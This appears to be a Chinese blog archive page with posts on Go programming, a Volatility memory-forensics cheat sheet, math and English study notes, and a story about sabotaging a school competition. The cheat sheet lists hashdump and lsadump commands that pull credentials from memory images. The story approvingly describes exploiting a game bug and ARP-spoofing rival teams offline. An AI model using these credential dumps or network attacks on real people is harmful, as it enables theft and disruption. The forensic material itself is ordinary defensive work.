请求(GET、POST、PUT、PATCH、DELETE)func TestHttpGet(t *testing.T) { ... } func TestHttpGetHeader(t *testing.T) { ... } func TestHttpPost(t *testing.T) { ... } func TestHttpPostForm(t *testing.T) { ... } func TestHttpPostJSON(t *testing.T) { ... } func TestHttpPut(t *testing.T) { ... } func TestHttpPatch(t *testing.T) { ... } func TestHttpDelete(t *testing.T) { ... }在这些测试方法中,使用了 Go 的 http 包来发送各种 HTTP 请求方法,并处理响应内容。线程并发编程Go 语言的并发性是其最具吸引力的特点之一。与其他语言(如 Java)不同,Go 使用轻量级的 Goroutine 来实现并发,这使得 Go 在处理大量并发时非常高效。Goroutine 是一种非常轻量的线程,它的内存开销小,程序可以创建成千上万的 Goroutine 而不会占用太多资源。创建 Goroutine创建 Goroutine 使用 go 关键字,它会启动一个并发执行的函数。在下面的示例中,count 函数通过 Goroutine 被并发执行:package main import ( "fmt" "time" ) func main() { go count(5, "?") go count(5, "?") } func count(n int, animal string) { for i := 0; i < n; i++ { fmt.Println(i+1, animal) time.Sleep(time.Millisecond * 500) } }程序提前退出在上面的代码中,虽然我们创建了两个 Goroutine,但是程序会在 Goroutine 执行之前就退出。因为主函数没有等待 Goroutine 执行完毕。解决方法使用 time.Sleep 延迟主线程结束(不推荐,简便,但不优雅)time.Sleep(time.Second * 1)使用 fmt.Scan 等待用户输入(仍不太优雅)var stop int fmt.Scan(&stop)使用 sync.WaitGroup(推荐)sync.WaitGroup 用于追踪 Goroutine 的执行状态。我们可以通过 Add、Done 和 Wait 方法控制 Goroutine 的执行和等待。var wg sync.WaitGroup wg.Add(2) // 添加两个任务 go func() { count(5, "?") wg.Done() // 每个 Goroutine 完成时,计数器减1 }() go func() { count(5, "?") wg.Done() }() wg.Wait() // 等待所有 Goroutine 完成实现多并发上面的代码实现了多个 Goroutine 并发执行任务,每个 Goroutine 都会执行 count 函数并在完成后通过 wg.Done() 通知主线程:package main import ( "fmt" "sync" "time" ) func main() { var wg sync.WaitGroup // 计数器 wg.Add(2) // 添加2个线程 go func() { count(5, "?") wg.Done() // 运行完毕就在计数器里减1 }() go func() { count(5, "?") wg.Done() }() wg.Wait() } func count(n int, animal string) { for i := 0; i < n; i++ { fmt.Println(n, animal) time.Sleep(time.Millisecond * 500) } }这里每个 Goroutine 运行时,独立执行并发的任务,没有直接的通信。实现 Goroutine 间通信Go 的 channel 允许 Goroutine 之间传递数据,它是 Go 并发编程的核心之一。通过 channel,多个 Goroutine 可以共享数据或者进行同步。在下面的代码中,使用了两个 channel 来实现 Goroutine 之间的通信:package main import ( "fmt" "time" ) func main() { c1 := make(chan string) // 创建信道 获取信息 c2 := make(chan string) go func() { c1 <- "?" // 向 c1 发送数据 time.Sleep(time.Millisecond * 500) }() go func() { c2 <- "?" // 向 c2 发送数据 time.Sleep(time.Millisecond * 500) }() for { select { case msg := <-c1: // 接收来自 c1 的数据 fmt.Println(msg) case msg := <-c2: // 接收来自 c2 的数据 fmt.Println(msg) } } }select 语句用于从多个 channel 中选择一个可以接收到数据的 channel,并执行相应的操作。当数据从任意一个 channel 接收到时,程序会打印相应的信息。程序打包打包命令go build main.go // 直接打包,大体积 go build // 也可以不带任何指定使用 go build -ldflags "-w -s -H=windowsgui" // 隐藏DOS窗口,小体积打包(推荐使用)rsrc工具如果需要为程序添加 UAC 权限或图标,可以使用 rsrc 工具来编译资源文件。可以通过以下两种方式下载 rsrc 工具:git clone https://github.com/akavel/rsrc.git go get github.com/akavel/rsrc`下载 rsrc 工具添加 UAC 与图标新建 manifest 文件 新建名为 nac.manifest 的文件,填写以下内容:<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator"/> </requestedPrivileges> </security> </trustInfo> </assembly>生成并打包资源文件 使用 rsrc 工具来编译资源文件:rsrc -manifest nac.manifest -o nac.syso // 编译资源文件 rsrc -manifest nac.manifest -o nac.syso -ico 00.ico // 添加自定义图标编译可执行文件 使用 go build 命令来生成最终的可执行文件:go build // 编译 Go 源代码并生成可执行文件参数打包 常规编译方式:go build -ldflags="-w -s" -o main.exe无界面编译方式(隐藏DOS窗口):go build -ldflags="-w -s -H windowsgui" -o main.exe通过以上步骤,可以生成一个带有 UAC 权限和自定义图标的小体积 Go 程序。
2022年07月11日
115 阅读
0 评论
20 点赞
2022-07-09
【每日随记】Volatility 常用命令
官方网址:https://www.volatilityfoundation.org/26参考文档:https://www.cnblogs.com/junglezt/p/16027761.html根据不同的操作系统选择下载。这里我选第4个下载,这是Volatility的源代码 。据我所知这个工具是用Python2编写的,只要有Python2的环境就可以正常运行。我一般都用这种,工具使用方法都是一样的,在终端上以命令行的方式执行。查看系统信息volatility -f 1.raw imageinfo // 查看镜像信息查看系统运行的进程volatility-f 1.raw --profile Win7SP1x64 pslist // 显示进程 volatility -f 1.raw --profile Win7SP1x64 psscan // 显示进程 volatility -f 1.raw --profile Win7SP1x64 psxview // 显示一些隐藏进程查看CMD调用进程volatility -f 1.raw --profile Win7SP1x64 cmdscan volatility -f 1.raw --profile Win7SP1x64 cmdline volatility -f 1.raw --profile Win7SP1x64 consoles查看IE浏览器历史记录volatility -f 1.raw --profile Win7SP1x64 iehistory通过关键字查找文件volatility -f 1.raw --profile Win7SP1x64 filescan | grep "txt" // 单搜索 volatility -f 1.raw --profile Win7SP1x64 filescan | grep "txt|.jpg" // 多搜索文件导出volatility -f 1.raw --profile Win7SP1x64 dumpfiles -Q 0x00000000022352c8 -D /home/kali/Desltop进程导出volatility -f 1.raw --profile Win7SP1x64 memdump -p 2716 -D /home/kali/Desltop 查看注册表配置单元volatility -f 1.raw --profile Win7SP1x64 hivelist查看编辑过的文本volatility -f 1.raw --profile Win7SP1x64 editbox导出注册表volatility -f 1.raw --profile Win7SP1x64 dumpregistry --dump-dir=./registry/导出进程程序volatility -f d3-win7-5f799647.vmem --profile Win7SP1x64 procdump -p 2544,2732 -D ./查看用户名volatility -f 1.raw --profile Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"查看最后登录的用户volatility -f 1.raw --profile Win7SP1x64 printkey -K "SOFTWARE\Microsoft\Windows查看截图volatility -f 1.raw --profile Win7SP1x64 screenshot查看剪切板volatility -f 1.raw --profile Win7SP1x64 clipboard查看环境变量volatility -f 1.raw --profile Win7SP1x64 envars查看进程权限volatility -f 1.raw --profile Win7SP1x64 privs计算用户哈希值volatility -f 1.raw --profile Win7SP1x64 hashdump查看用户强密码volatility -f 1.raw --profile Win7SP1x64 lsadump 查看服务volatility -f 1.raw --profile Win7SP1x64 svcscan
2022年07月09日
135 阅读
0 评论
22 点赞
2022-07-08
【每日随记】《关于学校比赛我捣乱这件事》
回忆在大一下期的时候,学校举办的"学创杯"创新创业大赛类似游戏模拟创业。之前就报名了然后去支教了一个月,回来的我一脸懵被老师叫到教室参加比赛。发现来不及的我选择走不归路,于是我利用晚自习的时间研究了下游戏。发现有 0 金币购买商品的漏洞。呦吼这不稳了。因为参加这场比赛是多人赛我和队友,还有好几个队伍。为了以防万一给他们准备了断网攻击。第二天比赛开始,商品全刷上提交数据的时候我让队友先交。然后把他们的网给拦下来了,导致没交有人还哭了。本以为稳了最后还是没拿到个奖,毕竟这个游戏比的不是谁的金币多就完事。而是创业头脑哈哈哈。那么这是怎么做到的呢,其实原理很简单。漏洞原理游戏本身存在 POST 参数提交可修改金额,程序员写的问题,要不就是故意留着方便修改。ARP断网攻击,由于比赛是在同一局域网,那么就可以实现主机欺骗。除了这种攻击、我还留了最后一手大杀招必断网,大到整栋楼这里不多赘述原理。
2022年07月08日
154 阅读
2 评论
22 点赞
2022-07-05
【数学笔记】常用数学符号速查表
留言在数学领域中,符号是一种强大的语言工具,用于表达各种数学概念、关系和运算,它们不仅简洁而精确,还为我们提供了一种统一的方式来描述和解释数学现象,使得数学变得更加可视化和易于理解。从基础的算术运算、几何图形,到高等数学的极限、积分、集合论,数学符号贯穿数学学习的全阶段,熟练识别、书写和运用这些符号,是高效学习数学的基础,也能让数学表达更严谨、更简洁。四则运算加法:$a + b$,表示$a$与$b$的和减法:$a - b$,表示$a$与$b$的差乘法:$a \times b$ 或 $a \cdot b$ 或 $ab$(字母/数字与字母相乘可省略乘号,数字相乘建议保留$\times$),表示$a$与$b$的积除法:$\dfrac{a}{b}$ 或 $a \div b$($b\neq0$,分母不能为0),表示$a$除以$b$的商乘方:$a^n$,表示$n$个$a$连续相乘,$a^2$(平方)、$a^3$(立方)为常用特例,如$5^2=5\times5$开方:$\sqrt[n]{a}$,表示$a$的$n$次方根,$n=2$时省略为$\sqrt{a}$(平方根),$n=3$为$\sqrt[3]{a}$(立方根),如$\sqrt[3]{8}=2$括号:$()$(小括号/圆括号)、$[]$(中括号/方括号)、$\lbrace \rbrace$(大括号/花括号),用于改变运算优先级,如$2\times(3+4)=14$数学符号基础关系与运算符号正号:$+x$,表示一个正数 $x$负号:$-y$,表示一个负数 $y$等于:$a = b$,表示 $a$ 等于 $b$不等于:$\neq$,表示不等于的关系,例如 $a \neq b$,表示 $a$ 不等于 $b$约等于:$\approx$,表示约等于的关系,例如 $\pi \approx 3.14$,表示 $\pi$ 约等于 $3.14$小于:$a < b$,表示 $a$ 小于 $b$大于:$a > b$,表示 $a$ 大于 $b$小于等于:$\leq$,表示小于等于的关系,例如 $a \leq b$,表示 $a$ 小于或等于 $b$大于等于:$\geq$,表示大于等于的关系,例如 $a \geq b$,表示 $a$ 大于或等于 $b$正比/反比:$\propto$,表示成正比,$a\propto b$即$a=kb$($k$为常数);$a\propto \dfrac{1}{b}$表示$a$与$b$成反比百分号/千分号:$\%$ / $\‰$,$1\%=\dfrac{1}{100}$,$1\‰=\dfrac{1}{1000}$,如$20\%x=0.2x$阶乘:$n!$,表示$n$的阶乘,$n!=n\times(n-1)\times\cdots\times1$,特例$0!=1$、$1!=1$,如$5!=5\times4\times3\times2\times1=120$恒等:$\equiv$,表示恒等的关系,例如 $a \equiv b$,表示无论变量取何值,$a$ 与 $b$ 始终相等绝对值:$|x|$,表示 $x$ 的绝对值,即数轴上$x$到原点的距离,$|x|\geq0$,如$|-5|=5$、$|0|=0$无穷:$\infty$,表示无穷大,正无穷$+\infty$、负无穷$-\infty$,如$x\to+\infty$表示$x$趋近于正无穷闭区间:$[a, b]$,表示一个闭区间,包含端点 $a$ 和 $b$,即$a\leq x\leq b$开区间:$(a, b)$,表示一个开区间,不包含端点 $a$ 和 $b$,即$a< x< b$半开半闭区间:$(a, b]$ / $[a, b)$,前者包含$b$不包含$a$,后者包含$a$不包含$b$,如$x\in(1,5]$即$1<x\leq5$集合符号属于:$\in$,表示属于的关系,例如 $x \in A$,表示 $x$ 是集合 $A$ 的元素不属于:$\notin$,表示不属于的关系,例如 $x \notin A$,表示 $x$ 不是集合 $A$ 的元素包含于:$\subset$ 或 $\subseteq$,$\subset$为真包含于($A\subset B$表示$A$是$B$的真子集,$A\neq B$),$\subseteq$为包含于(允许$A=B$)包含:$\supset$ 或 $\supseteq$,与包含于互逆,$A\supset B$表示集合$A$包含集合$B$交集:$A \cap B$,表示集合 $A$ 和集合 $B$ 的公共元素组成的集合,如$A=\{1,2\}$、$B=\{2,3\}$,则$A\cap B=\{2\}$并集:$A \cup B$,表示集合 $A$ 和集合 $B$ 的所有元素组成的集合,如$A=\{1,2\}$、$B=\{2,3\}$,则$A\cup B=\{1,2,3\}$空集:$\emptyset$ 或 $\varnothing$,表示一个不包含任何元素的集合,$\emptyset\subset$任意非空集合全集:$U$,表示研究问题中所有元素组成的集合,如研究实数时,$U=\mathbb{R}$补集:$\complement_U A$,表示在全集$U$中,不属于$A$的所有元素组成的集合,如$U=\{1,2,3,4\}$、$A=\{1,2\}$,则$\complement_U A=\{3,4\}$常用数集:$\mathbb{N}$(自然数集,$0,1,2,\dots$)、$\mathbb{Z}$(整数集,$\dots,-1,0,1,\dots$)、$\mathbb{Q}$(有理数集)、$\mathbb{R}$(实数集)、$\mathbb{C}$(复数集)几何符号角:$\angle$,表示角度,如$\angle ABC$表示以$B$为顶点,$BA$、$BC$为边的角度:$^\circ$,角度单位,$1^\circ=\dfrac{1}{360}$周角分:$'$,角度小单位,$1^\circ=60'$秒:$''$,角度小单位,$1'=60''$,如$30^\circ15'30''$平行:$\parallel$,表示平行的关系,如$AB \parallel CD$表示直线$AB$与直线$CD$无交点垂直:$\perp$,表示垂直的关系,如$AB \perp CD$表示直线$AB$与直线$CD$的夹角为$90^\circ$圆弧:$\widehat{AB}$,表示以点 $A$ 和点 $B$ 为端点的圆弧扇形:$\overset{\frown}{AB}O$,表示以$O$为圆心、$\widehat{AB}$为弧的扇形圆:$\odot$,标准圆符号,$\odot O$表示以点$O$为圆心的圆,原$\circ$为简易写法圆周率:$\pi$,圆的周长与直径的比值,$\pi\approx3.1415926535$,为无理数全等:$\cong$,表示图形完全重合,如$\triangle ABC \cong \triangle DEF$(两个三角形全等)相似:$\sim$,表示图形形状相同、大小成比例,如$\triangle ABC \sim \triangle DEF$(两个三角形相似)垂直平分线:$l\perp AB$且$l$平分$AB$,表示直线$l$是线段$AB$的垂直平分线角平分线:$BD$平分$\angle ABC$,表示射线$BD$将$\angle ABC$分为两个相等的角因为:$\because$,用于数学证明的原因推导所以:$\therefore$,用于数学证明的结果推导高等数学与特殊运算符号函数:$f(x)$,表示以$x$为自变量的函数,也可表示为$g(x)$、$y(x)$、$f(x,y)$(二元函数)等极限:$\lim$,极限核心符号,$\lim\limits_{x \to a} f(x)$表示$x$趋近于$a$时$f(x)$的极限;$\lim\limits_{x \to a^+} f(x)$(右极限,$x$从右侧趋近$a$)、$\lim\limits_{x \to a^-} f(x)$(左极限,$x$从左侧趋近$a$)导数:$f'(x)$ 或 $y'$(一阶导数)、$f''(x)$ 或 $y''$(二阶导数)、$\dfrac{dy}{dx}$(微商形式),表示函数的变化率偏导数:$\dfrac{\partial f}{\partial x}$,表示多元函数$f(x,y)$对自变量$x$的偏导数Sigma求和:$\sum$,表示连加,$\sum\limits_{i=1}^n a_i = a_1+a_2+\dots+a_n$,$i$为求和下标,$1$为下限,$n$为上限求积:$\prod$,表示连乘,$\prod\limits_{i=1}^n a_i = a_1\times a_2\times\dots\times a_n$根号:$\sqrt{}$,表示平方根,$\sqrt[n]{}$表示$n$次方根,偶次根下被开方数$\geq0$积分:$\int$,不定积分$\int f(x)dx$;定积分$\int_a^b f(x)dx$,表示区间$[a,b]$上的积分曲线积分:$\int_C f\, ds$ 或 $\int_C \mathbf{F} \cdot d\mathbf{r}$,表示沿曲线$C$的积分二重积分/三重积分:$\iint_D f(x,y)dxdy$(平面区域$D$)、$\iiint_\Omega f(x,y,z)dxdydz$(空间区域$\Omega$)虚数:$i$,虚数单位,满足$i^2=-1$,复数可表示为$a+bi$($a,b\in\mathbb{R}$)无穷小/无穷大:$o(x)$(高阶无穷小)、$O(x)$(同阶无穷大),用于高等数学的极限比较梯度/散度/旋度:$\nabla f$(梯度)、$\nabla\cdot\mathbf{F}$(散度)、$\nabla\times\mathbf{F}$(旋度),高等数学矢量运算常用极限存在:$\exists$(存在)、$\forall$(任意),如$\forall\varepsilon>0,\exists\delta>0$,为极限的严格定义符号常见平面图形面积公式长方形面积公式:$S = 长 \times 宽$ 即:$S = l \times w$($l$为长,$w$为宽)示例:假设长方形,长为$8\text{ cm}$,宽为$9\text{ cm}$ 那么:$S=8 \times 9 = 72 \text{ cm}^2$正方形面积公式:$S = 边长 \times 边长$ 即:$S = a^2$($a$为边长)示例:已知正方形的边长为$5\text{ cm}$,则面积$S = 5^2 = 25 \text{ cm}^2$;逆运算:若已知正方形的面积为$25\text{ cm}^2$,则边长为$\sqrt{25} = 5\text{ cm}$。三角形面积公式:$S = \frac{1}{2} \times 底 \times 高$ 即:$S = \frac{1}{2}ah$($a$为底边长,$h$为底边对应的高,高与底边垂直)示例:假设有一个三角形,其底边长为 $5\text{ cm}$,该底边上的高为$3\text{ cm}$,则:$S=\frac{1}{2}\times5\times3=7.5 \text{ cm}^2$补充:海伦公式$S=\sqrt{p(p-a)(p-b)(p-c)}$($a,b,c$为三边长,$p=\dfrac{a+b+c}{2}$),无高时可用平行四边形面积公式:$S = 底 \times 高$ 即:$S = ah$($a$为底边长,$h$为底边对应的高)示例:平行四边形底为$6\text{ cm}$,高为$4\text{ cm}$,则$S=6\times4=24 \text{ cm}^2$菱形面积公式1:$S = 底 \times 高$(同平行四边形);公式2:$S = \frac{1}{2}d_1d_2$($d_1、d_2$为两条对角线的长度)示例:菱形对角线长分别为$4\text{ cm}$、$6\text{ cm}$,则$S=\frac{1}{2}\times4\times6=12 \text{ cm}^2$梯形面积公式:$S = \frac{1}{2} \times (上底 + 下底) \times 高$ 即:$S = \frac{1}{2}(a+b)h$($a$为上底,$b$为下底,$h$为上下底之间的垂直距离)示例:梯形上底为$3\text{ cm}$,下底为$7\text{ cm}$,高为$5\text{ cm}$,则$S=\frac{1}{2}\times(3+7)\times5=25 \text{ cm}^2$圆形面积公式:$S = \pi r^2$ 或 $S = \frac{1}{4}\pi d^2$($r$为圆的半径,$d$为圆的直径,$d=2r$)示例:圆的半径为$4\text{ cm}$,则面积$S=\pi\times4^2=16\pi \text{ cm}^2\approx50.24 \text{ cm}^2$环形面积公式:$S = \pi (R^2 - r^2)$($R$为外圆半径,$r$为内圆半径,$R>r$)示例:外圆半径$5\text{ cm}$,内圆半径$3\text{ cm}$,则环形面积$S=\pi\times(5^2-3^2)=16\pi \text{ cm}^2\approx50.24 \text{ cm}^2$扇形面积公式:$S = \frac{n}{360}\pi r^2$ 或 $S = \frac{1}{2}lr$($n$为扇形圆心角度数,$r$为半径,$l$为扇形弧长)示例:扇形圆心角$60^\circ$,半径$6\text{ cm}$,则$S=\frac{60}{360}\times\pi\times6^2=6\pi \text{ cm}^2\approx18.84 \text{ cm}^2$常见立体图形体积公式(面积延伸常用知识点,统一补充更实用,单位为立方厘米$\text{cm}^3$、立方米$\text{m}^3$等)长方体体积公式:$V = 长 \times 宽 \times 高$ 即$V=lwh$示例:长$2\text{ cm}$、宽$3\text{ cm}$、高$4\text{ cm}$,则$V=2\times3\times4=24\text{ cm}^3$正方体体积公式:$V = 边长^3$ 即$V=a^3$示例:边长$5\text{ cm}$,则$V=5^3=125\text{ cm}^3$圆柱体体积公式:$V = \pi r^2 h$($r$为底面半径,$h$为圆柱的高)示例:底面半径$2\text{ cm}$、高$5\text{ cm}$,则$V=\pi\times2^2\times5=20\pi\text{ cm}^3\approx62.8\text{ cm}^3$圆锥体体积公式:$V = \frac{1}{3}\pi r^2 h$($r$为底面半径,$h$为圆锥的高,是同底同高圆柱体积的$\dfrac{1}{3}$)示例:底面半径$2\text{ cm}$、高$5\text{ cm}$,则$V=\frac{1}{3}\times\pi\times2^2\times5=\dfrac{20}{3}\pi\text{ cm}^3\approx20.93\text{ cm}^3$球体体积公式:$V = \frac{4}{3}\pi R^3$($R$为球的半径)示例:球的半径$3\text{ cm}$,则$V=\frac{4}{3}\times\pi\times3^3=36\pi\text{ cm}^3\approx113.04\text{ cm}^3$圆台体积公式:$V = \frac{1}{3}\pi h (R^2+Rr+r^2)$($R$为上底半径,$r$为下底半径,$h$为圆台的高)示例:上底半径$1\text{ cm}$、下底半径$2\text{ cm}$、高$3\text{ cm}$,则$V=\frac{1}{3}\pi\times3\times(1+2+4)=7\pi\text{ cm}^3\approx21.98\text{ cm}^3$
2022年07月05日
54 阅读
0 评论
6 点赞
2022-07-01
【数学笔记】常见距离计算:欧氏、曼哈顿、切比雪夫
简介在数据分析、路径规划、机器学习这些场景里,经常要算两个点/向量之间的“距离”,欧氏、曼哈顿、切比雪夫是最基础也最常用的三种,我结合公式和Python代码把它们捋清楚,记下来方便后续用,尽量写得直白,重点在“能看懂、能复用”。1. 欧氏距离(Euclidean Distance)核心说明欧式距离就是咱们最直观的“直线距离”,比如平面上两点间的直线长度,三维空间里两点间的直线长度,本质是勾股定理的延伸,也是最符合日常认知的距离计算方式。公式(1) 二维平面上两点 $a(x_1, y_1)$ 和 $b(x_2,y_2)$ 的直线距离:$d(a,b) = \sqrt{(x_2 - x_1)^2 + (y_2 - y_1)^2}$(2) 三维空间两点 $a(x_1,y_1,z_1)$、$b(x_2,y_2,z_2)$ 间的欧氏距离:$d(a,b) = \sqrt{(x_2 - x_1)^2 + (y_2 - y_1)^2 + (z_2 - z_1)^2}$(3) 两个n维向量 $a(x_{11},x_{12},\dots,x_{1n})$ 和 $b(x_{21},x_{22},\dots,x_{2n})$ 间的欧氏距离:$d(a,b) = \sqrt{\sum_{i=1}^n (x_{2i} - x_{1i})^2}$也可以表示成向量运算的形式:$d(a,b) = \sqrt{(a - b)^T(a - b)}$Python实现(支持n维向量)import math def euclidean_distance(a, b): """ 计算两个n维向量的欧氏距离 :param a: 第一个向量(列表/元组,如[1,50.6]、[1,2,3]) :param b: 第二个向量(维度需和a一致) :return: 欧氏距离值 """ if len(a) != len(b): raise ValueError("两个向量的维度必须一致!") # 先算每个维度差值的平方和,再开平方 squared_sum = sum((x - y)**2 for x, y in zip(a, b)) return math.sqrt(squared_sum) # 测试案例 # 二维案例(原示例) test_a_2d = [1, 50.6] test_b_2d = [1, 1] print(f"二维欧氏距离:{euclidean_distance(test_a_2d, test_b_2d)}") # 输出49.6 # 三维案例 test_a_3d = [1, 2, 3] test_b_3d = [4, 5, 6] print(f"三维欧氏距离:{euclidean_distance(test_a_3d, test_b_3d)}") # 输出√(9+9+9)=√27≈5.1962. 曼哈顿距离(Manhattan Distance)核心说明曼哈顿距离也叫“城市街区距离”,不是直线距离,而是像在城市里走路一样,只能沿横竖方向走,算的是“横向+纵向”的总路程,比如从A点到B点,绕着街区走的总距离。公式(1) 二维平面两点 $a(x_1,y_1)$ 和 $b(x_2,y_2)$ 间的曼哈顿距离:$d(a,b) = |x_2 - x_1| + |y_2 - y_1|$(2) 两个n维向量 $a(x_{11},x_{12},\dots,x_{1n})$ 与 $b(x_{21},x_{22},\dots,x_{2n})$ 间的曼哈顿距离:$d(a,b) = \sum_{i=1}^n |x_{2i} - x_{1i}|$Python实现(支持n维向量)def manhattan_distance(a, b): """ 计算两个n维向量的曼哈顿距离 :param a: 第一个向量(列表/元组) :param b: 第二个向量(维度需和a一致) :return: 曼哈顿距离值 """ if len(a) != len(b): raise ValueError("两个向量的维度必须一致!") # 累加每个维度差值的绝对值 return sum(abs(x - y) for x, y in zip(a, b)) # 测试案例 # 二维案例(原示例) print(f"二维曼哈顿距离:{manhattan_distance(test_a_2d, test_b_2d)}") # 输出0 + 49.6 = 49.6 # 三维案例 print(f"三维曼哈顿距离:{manhattan_distance(test_a_3d, test_b_3d)}") # 输出3+3+3=93. 切比雪夫距离(Chebyshev Distance)核心说明切比雪夫距离可以理解成“国王距离”——国际象棋里国王走一步能到相邻8个方格中的任意一个,从A点到B点,国王最少需要走的步数就是切比雪夫距离,本质是两个点各维度差值的绝对值中最大的那个。公式(1) 二维平面两点 $a(x_1,y_1)$ 和 $b(x_2,y_2)$ 间的切比雪夫距离:$d(a,b) = \max(|x_2 - x_1|, |y_2 - y_1|)$(2) 两个n维向量 $a(x_{11},x_{12},\dots,x_{1n})$ 和 $b(x_{21},x_{22},\dots,x_{2n})$ 间的切比雪夫距离:$d(a,b) = \max_{i=1}^n |x_{2i} - x_{1i}|$Python实现(支持n维向量)def chebyshev_distance(a, b): """ 计算两个n维向量的切比雪夫距离 :param a: 第一个向量(列表/元组) :param b: 第二个向量(维度需和a一致) :return: 切比雪夫距离值 """ if len(a) != len(b): raise ValueError("两个向量的维度必须一致!") # 取每个维度差值绝对值的最大值 return max(abs(x - y) for x, y in zip(a, b)) # 测试案例 # 二维案例(棋盘场景) chess_a = (1, 1) chess_b = (5, 4) print(f"棋盘上国王从{chess_a}到{chess_b}的步数(切比雪夫距离):{chebyshev_distance(chess_a, chess_b)}") # 差值x=4,y=3,最大值4,输出4 # 原示例二维测试 print(f"原示例切比雪夫距离:{chebyshev_distance(test_a_2d, test_b_2d)}") # 差值x=0,y=49.6,最大值49.6,输出49.6 # 三维案例 print(f"三维切比雪夫距离:{chebyshev_distance(test_a_3d, test_b_3d)}") # 差值都是3,最大值3,输出34. 三种距离的整合调用整合代码def calculate_distance(a, b, distance_type="euclidean"): """ 统一计算三种距离的封装函数 :param a: 第一个向量 :param b: 第二个向量 :param distance_type: 距离类型,可选"euclidean"/"manhattan"/"chebyshev" :return: 对应类型的距离值 """ if len(a) != len(b): raise ValueError("两个向量维度必须一致!") if distance_type == "euclidean": return euclidean_distance(a, b) elif distance_type == "manhattan": return manhattan_distance(a, b) elif distance_type == "chebyshev": return chebyshev_distance(a, b) else: raise ValueError("距离类型仅支持euclidean/manhattan/chebyshev!") # 批量测试 test_vec1 = [2, 5, 8] test_vec2 = [6, 9, 12] print(f"批量测试 - 欧氏距离:{calculate_distance(test_vec1, test_vec2, 'euclidean')}") # √(16+16+16)=√48≈6.928 print(f"批量测试 - 曼哈顿距离:{calculate_distance(test_vec1, test_vec2, 'manhattan')}") # 4+4+4=12 print(f"批量测试 - 切比雪夫距离:{calculate_distance(test_vec1, test_vec2, 'chebyshev')}") # 最大值4闵可夫斯基距离(三种统一)其实欧氏、曼哈顿、切比雪夫都是“闵可夫斯基距离”的特例,公式如下:$d(a,b) = \left( \sum_{i=1}^n |x_{2i} - x_{1i}|^p \right)^{\frac{1}{p}}$当 $p=1$ 时,就是曼哈顿距离;当 $p=2$ 时,就是欧氏距离;当 $p \to \infty$ 时,就是切比雪夫距离。def minkowski_distance(a, b, p): """ 计算闵可夫斯基距离(p为参数,覆盖三种基础距离) :param a: 第一个向量 :param b: 第二个向量 :param p: 阶数(p=1→曼哈顿,p=2→欧氏,p越大越接近切比雪夫) :return: 闵可夫斯基距离值 """ if len(a) != len(b): raise ValueError("两个向量维度必须一致!") if p <= 0: raise ValueError("p必须大于0!") # p→∞时直接返回切比雪夫距离(简化版) if p == float("inf"): return chebyshev_distance(a, b) sum_pow = sum(abs(x - y)**p for x, y in zip(a, b)) return sum_pow ** (1/p) # 验证特例 print(f"p=1(曼哈顿):{minkowski_distance(test_vec1, test_vec2, 1)}") # 12,和之前一致 print(f"p=2(欧氏):{minkowski_distance(test_vec1, test_vec2, 2)}") # ≈6.928,和之前一致 print(f"p=∞(切比雪夫):{minkowski_distance(test_vec1, test_vec2, float('inf'))}") # 4,和之前一致5. 三种应用场景距离类型核心特点典型应用场景欧氏距离直线距离,贴合直观认知机器学习(相似度计算、KNN算法)、坐标定位、三维建模曼哈顿距离街区式路程,对异常值更稳健路径规划(外卖配送、城市导航)、推荐系统(用户行为相似度)切比雪夫距离最大维度差值,“步数”思维棋盘类算法、物流配送(最大运输维度优化)、多维度决策总结欧氏、曼哈顿、切比雪夫是最基础的距离计算方式,核心区别在于“维度差值的处理方式”(平方和开方/绝对值和/绝对值最大值);三种距离都能扩展到n维向量,代码实现时要注意“维度一致”的校验,避免报错;闵可夫斯基距离是三者的统一形式,通过调整参数p可以切换不同距离类型,方便灵活调用;实际使用时要根据场景选:要直线距离选欧氏,要路径总长度选曼哈顿,要“最少步数”选切比雪夫。
2022年07月01日
181 阅读
0 评论
60 点赞
2022-06-30
【英语笔记】英语十大词性
人称代词主格谓语动词宾格动作的发出者比如用打(beat)动作的承受者我(I) 我(me)你(you) 你(you)他(he) 他(him)她(he)(1)beat(2,7)她(her)我们(we) 我们(us)你们(you) 你们(you)他们(they) 他们(them)be动词用法is、am、are都是be动词的一般现在时态意思"是",三者区别主要体现在使用的情况不同。一、主语为人称代词1、am:主语第一人称英:I am a student.译:我是一名学生。2、are:主语第二人称英:You are my friend.译:你是我的朋友。3、is:主语第三人称英:He is an English boy.译:他是一个英国男孩。二、当主语为名词1、are:主语为复数名词英:These pens are hers.译:这些笔是她的。2、is 主语为单数或不可数名词英:The pen is mine译:这支笔是我的。be动词其他形式一、一般过去时:第一人称单数和第三人称单数形式,可以用was第一人称复数和第二人称复数、第三人称的复数,用were第二人称单数也用were二、一般将来时will be:will在一般情况下相当于be going to,表示将要做什么,两者之间有差别will更口语化。of的用法一、of表示"属于 ...的"英:The son of my teacher.译:我老师的儿子。英:The house of my elder brother.译:我哥哥的家二、of表示"数量"、"分量"、"部分"、"种类"英:a sheet of paper.译:一张纸。英:tow pieces of chalk.译:两支粉笔三、of表示"所有格或同位关系"英:He is a friend of mine.译:他是我的一个朋友。英:The leaves of that tree are green.译:那棵树的叶子是绿的。四、of表示"作者、行为者"英:The works of Luxun.译:鲁迅的著作。for的用法一、for "作为"英:I like some bread and milk for breakfast译:我喜欢把面包牛奶作为我的早餐。二、表示理由或原因英:Thank you for helping me with my English译:谢谢你帮助我学习英语。三、表示动作对象或接受者英:Let me pick it up for you.译:让我帮你捡起来。四、表示时间距离英:Let's go for a walk.译:让我们一起散步吧。五、表示所属关系或用途英:It's time for school 译:该上学了六、表示"赞成"英:Are you for this plan or against it?译:你赞成还是反对这个计划。was、were的用法主语第一人称单数I,第三人称单数时,一般过去式用was如果在虚拟语态中,不论主语是什么,都用were。什么意思呢 你认识一个人已经很久了 或者最近发生的事英:I know him when he was a little boy.译:他还是个小男孩的时候我就认识他了。英:They were absent because of class.译:他们因为上课而缺席。1.名词缩写:n. 全称:noun描述:世间万物皆有名 看得见摸得着 如(衣服、椅子、人名、地名、人或事物等)例子:apple 苹果、car 汽车、tree 树、clothes 